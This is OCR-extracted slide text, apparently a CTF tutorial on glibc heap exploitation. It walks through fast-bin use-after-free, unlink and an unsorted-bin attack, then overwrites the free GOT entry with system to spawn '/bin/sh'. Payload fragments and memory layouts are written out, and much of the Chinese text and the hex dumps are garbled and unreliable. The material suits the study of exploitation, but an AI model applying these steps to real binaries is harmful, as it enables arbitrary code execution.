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Kernel space

Stack (grows down)

Memory Mapping Segment
File mappings(including dynamic libraries)
and anonymous mappings. Example:
/1lib/1libc. so

Heap T

BSS segment CGR¥JEAIL IS &)

Data segment (WJEHAL AL &)

Text segment (UL ER)
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free mmap
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- EMfree fast bin chunk, Pi#ERSH, FILO(first
in last out)

- BHAE101bins, 81 bintbchunkX/N—1*, GCE
0x20~0x80(64bit), 0x10:E1E

- {Afifricpre inusefil, ASHITESH
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EHlfdisst

salignmentfhiEsize =>

OX7EXAXAXX XXX XXX pre size

O0x21

Overwrite GOT
Overwrite realloc_hook / malloc_hook

fd

pre size
0x21
fd=null
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- ##Eunsort bin chunk
— YWBPR=
o EztidiE

BK

- BK=P->bk

BK->fd

- FD=P->fd

BK->bk

- FD—>bk=BK
— BK—>fd=FD

P->fd

P->bk

BK

BK->fd

BK->bk

FD

FD->fd

FD->bk

BK

BK->fd

BK->bk
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— FD—>bk=BK

« *[*(P—>fd)+0x18)]= *(P->bk),BlPHIfdisEt BI{ER
RE0x18iitt, MpribkisttHIE

— BK—>fd=FD

« *[*(P->bk)+0x10]= *(P—->fd) ),BlfEPFIbkist B{EH]

REOX10MHEEE, FpHIfdis
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— [[P->bk]+0x10]=[P->fd]
 OJLATEp—>bkUTFRAEZ NS
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° B=Xx

— Malloc:EEBIE10TXK/INA0X3 080, HEEHITE A
— Edit:RgEiHIT=1Xedit
_ FreeﬁEUAF;ﬁ];ﬁl if ( (unsigned int)ul <= 9 && t={ QWORD =)&ptr[8 x u1] )
— ShOWEIEf'T %.%\FIEE'. { *(_(UORD *)&ptr[8 = u1] = malloc(8x26ulL);
K1. 10/Xmalloc

if ( (unsigned int)ul <= Ox1F && *=( OQUORD =)&ptr[8 »* v1] && dword_6020B0O t= 3 )
{

printf("'Content:", &s);

sub_48092B(*( (WORD =)&ptr[8 = u1], Bx286u);

=l K2, 3Kedit

— UWTRIAR10iR0Ox30 /MR B E 2 = iXBeditE TR
AR5 A?
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— A=malloc(0x20),B=malloc(0x20),
C=malloc(0x20)
- Free(B),Free(A)
« Fast bin—>chunkB—>¢HunkA Free®

Fast bin(0x30)

- S h OW( B) Fast bin(0x30) Chunk (addr chun

kB)

3 - Chunk (0x0000000
* FHQS;AITIGHOC " OX) C chunkB (0x000000

00)

820838 E%%%%%%% 31 68 B8 B8 62 B8 00 a8
poooooooeEc2le4s B0 00 20 00 00 BB B0 B2 60 B0 BB B0 B2 BO BO 28
popoooeoeEE20e5E 96 00 20 B0 B0 BE B0 B2 60 B9 BB B0 B2 B8 BE o8
pEaopooaeEs20ece B0 B0 20 02 08 BB B0 B2 31 68 BB B0 B2 B0 B8 88
poaoooeaeas2leve 38 Do 32 60 08 B0 B0 B2 00 08 B0 B0 B9 B0 B0 88
pogoooooees2lese 90 00 90 00 00 B0 B0 B2 00 00 B0 B0 B9 B0 B0 88
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+ MiZunsorted chunk
— Malloc(1),Malloc(2),:--,Malloc(7)
— Free(2),Free(3),show(3)
— Edit1(3,p64(chunk1_addr+0xa0))

chunk1

chunk?2
Fast bin(0x30) Fast bin(0x30)
chunk3
Chunk (addr chun R
kB) chunk4
chunkB (0x000000
chunkB (0x000000 00)
00) chunk5b

chunk6

chunk7
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Fast for Unsorted

 fiZunsorted chunk
— Malloc(8), Edit2(4,p64(0x31)*2+p64(heap+0x20))
— Malloc(9, p64(0x90)*3+chr(0x90))

chunk1 chunk1
chunk?2 chunk?2
Fast bin(0x30) Fast bin(0x30)
chunk3 chunk3
chunk4 chunk1
chunk4 chunk4
0x00000090
chunkb 0x00000090
chunkb
chunk6 chunk6
chunk?7 chunk7
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 fiZunsorted chunk
— Malloc(0, p64(0x0)+p64(0x91)+p64(0x6020a8-
0x18)+p32(0x6020a8-0x10))

0x00000000
0x00000091
Fd bk
0x00000000 0x00000091
Ptr2-0x18 ptr-0x10
ptr2 chunk?2

TEREHE S 1 Ptr2-0x8
2k

chunk3

» Unsorted bin attack | roos

—_ Free(S) chunk4
. mmﬁunhnk 0x00000090 0x00000090

chunkb

chunk6

chunk?
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Fast for Unsorted

1= 71—
o TFIUELRI IR SHE L
0x00000000
0x00000091
e Fd bk
Chunk2 addr—-0x8 0x00000000 0x00000091
A HEH 2 Hh 1k Ptr2-0x18 ptr—0x10
A Eptr2 Chunk2 addr chunk?2
Chunk2_addr+0x8 chunk3
chunk4

e 0x00000090 0x00000090
Chunk2 addr—0x8 chunk5

A7 il e e 2l B
I Bt r2 Prz-0x18 chunké

Chunk2 addr+0x8

chunk?
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° Ptfﬂﬂ‘]ff%ﬂﬂﬂtg fFitichunk 1748 Eptr Unsort chunk bin

— Free unsort chunk | .
. Unsort_bin_addr Unsort bin addr
» {F8lunsort_binitiil e oy

Unsort bin addr Unsort bin addr

+ FIES T editbRil |

ptrl Chunk4 addr+0x10 Chunkl addr ptrl Chunk4 addr+0x10 Chunkl addr
Ptr3/ptrl1+0x10 Chunk2 addr Chunk3 addr Chunk2 addr Chunk3 addr
Chunk4 addr Chunk5 addr Chunk4 addr Chunk5 addr
ptr7 Chunk6 addr Chunk7 addr ptr7 Ptr editnum ptr9
Chunk3_addr ptr7 0 JfH CKT0x80)
Ptr editnum 2 Ptr_editnum Unsort bin addr Unsort bin addr

HHunsort bin attack FAKedit[RH
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- EEIBNES
— Free_GOTZEE AsystemiRinit

ptrl

ptr7

Ptr editnum

Chunk4 addr+0x10 Chunkl addr

Chunk2 addr Chunk3 addr

Chunk4 addr Chunkb5 addr

Ptr_editnum ptr9

0 HAH CKT-0x80)

Unsort bin addr Unsort bin addr

ptrl

ptr7

ptr9

Ptr editnum

Edit (8, Free GOT)

Chunk4 addr+0x10 Chunkl addr

Chunk2 addr Chunk3 addr

Chunk4 addr Chunkb5 addr

Free GOT

Ptr editnum ptr9

Func_system addr

Free GOT HAH (K T-0x80)

Unsort bin addr Unsort bin addr

Edit (9, Func_system addr)
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* FreettihookJIsystemiR
- Edit(1,” /bin/sh” )
— Free(1)
» System( “/bin/sh” )
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— WoiEREHFEchunki, BFHEE, F_TCESIHER
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— EBBE—EWIERIP
- BF-EFBchunki X/NARREFIRS, SILAEREIAST
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Unsort bin attack# @i XBlchunk, BILATEH F1iiE
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- https://bbs.pediy.com/thread—-246391.htm

- https://bbs.pediy.com/thread-218313.htm
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